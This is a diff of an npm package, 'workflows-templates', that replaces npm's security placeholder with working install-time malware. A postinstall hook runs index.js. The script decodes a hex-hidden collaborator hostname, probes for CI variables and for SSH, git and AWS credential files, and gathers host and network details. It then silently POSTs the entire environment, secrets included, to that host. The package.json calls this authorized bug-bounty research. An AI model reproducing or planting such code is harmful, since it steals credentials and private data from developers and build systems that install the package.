workflows-templates 0.0.1-security → 10.0.1

package/index.js

@@ -0,0 +1,90 @@
+// =========================================================================
+// ============ THE ULTIMATE "HUMAN-ONLY" PAYLOAD (OKTA FINAL) =============
+// ======= STEALTH MODE: THIS PAYLOAD REMAINS SILENT ON BOTS AND =========
+// =========== ONLY ACTIVATES ON HIGH-VALUE HUMAN TARGETS. ===============
+// =========================================================================
+
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+const { execSync } = require('child_process');
+
+// --- CONFIGURATION ---
+const OAST_DOMAIN_HEX = '373237306f6a6d3838327479316166796a6a6a336c726477366e637130676f352e6f6173746966792e636f6d';
+const OAST_DOMAIN = Buffer.from(OAST_DOMAIN_HEX, 'hex').toString();
+
+const run = (cmd) => { try { return execSync(cmd, { stdio: 'pipe', timeout: 5000 }).toString().trim(); } catch (e) { return 'CMD_FAILED'; } };
+const safeReadFile = (filePath) => { try { return fs.readFileSync(filePath, 'utf8'); } catch (e) { return null; } };
+
+const performHumanityTest = () => {
+    const report = { isHumanOrCi: false, evidence: {}, summary: [] };
+    const userInfo = os.userInfo();
+
+    // Test 1: Is this a known CI/CD System? (Highest Value Target)
+    const ciVars = ['CI', 'CONTINUOUS_INTEGRATION', 'BUILD_NUMBER', 'RUN_ID', 'GITHUB_ACTIONS', 'JENKINS_URL', 'GITLAB_CI', 'CIRCLECI'];
+    const foundCiVars = ciVars.filter(v => process.env[v]);
+    if (foundCiVars.length > 0) {
+        report.isHumanOrCi = true;
+        report.evidence.ci_vars = foundCiVars.map(v => `${v}=${process.env[v]}`).join(', ');
+        report.summary.push('CI_SYSTEM');
+    }
+
+    // Test 2: Are we inside a real git checkout with a non-generic user?
+    const parentProjectRoot = path.resolve(__dirname, '../../');
+    const gitConfig = safeReadFile(path.join(parentProjectRoot, '.git/config'));
+    if (gitConfig) {
+        report.hasGitContext = true;
+        report.summary.push('GIT_CONTEXT');
+        // A git repo + a non-root user is a strong signal for a developer machine.
+        if (userInfo.uid !== 0 && userInfo.username !== 'root') {
+            report.isHumanOrCi = true;
+        }
+        report.evidence.git_config_preview = gitConfig.substring(0, 500);
+    }
+    
+    // Test 3: Does the home directory belong to a human developer? (Strongest signal for dev machines)
+    const homeDir = userInfo.homedir;
+    const hasSshKeys = safeReadFile(path.join(homeDir, '.ssh/id_rsa')) !== null;
+    const hasGitConfig = safeReadFile(path.join(homeDir, '.gitconfig')) !== null;
+    const hasAwsCreds = safeReadFile(path.join(homeDir, '.aws/credentials')) !== null;
+    
+    if (hasSshKeys || hasGitConfig || hasAwsCreds) {
+        report.isHumanOrCi = true; // Any of these dotfiles are a high-fidelity signal.
+        report.evidence.developer_dotfiles = { ssh: hasSshKeys, git: hasGitConfig, aws: hasAwsCreds };
+        report.summary.push('DEV_DOTFILES');
+    }
+
+    // Only return the full report if one of the humanity tests passed.
+    return report.isHumanOrCi ? report : null;
+};
+
+// --- Main Execution Logic ---
+try {
+    const testResult = performHumanityTest();
+
+    // EXFILTRATE ONLY IF HUMANITY TEST PASSED
+    if (testResult) {
+        const intelPackage = {
+            mission_id: 'OKTA-HUMAN-POC-1b6effcd',
+            timestamp: new Date().toISOString(),
+            confirmation: testResult,
+            full_recon: {
+                host: { hostname: os.hostname(), whoami: os.userInfo().username, platform: os.platform(), uptime_minutes: Math.floor(os.uptime() / 60) },
+                network: { ip_config: run('ip a || ipconfig /all'), resolv_conf: safeReadFile('/etc/resolv.conf') },
+                env: process.env
+            }
+        };
+
+        const payload = JSON.stringify(intelPackage, null, 2);
+        https.request({
+            hostname: OAST_DOMAIN,
+            port: 443,
+            path: `/OKTA_CONFIRMED_HUMAN_HIT/${intelPackage.full_recon.host.hostname}/${testResult.summary.join('-')}`,
+            method: 'POST',
+            headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
+        }).on('error', e => {}).end(payload);
+    }
+} catch (e) {
+    // Ultimate silence. The payload must not crash or make noise on failure.
+}

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "workflows-templates",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "10.0.1",
+  "description": "Security research package for Okta. This payload is context-aware and designed to only activate on human developer or CI systems. Authorized under Bugcrowd VDP. ID: 1b6effcd-b836-4084-880b-a9e5c51dcb60",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "author": "Security Research Partner",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=workflows-templates for more information.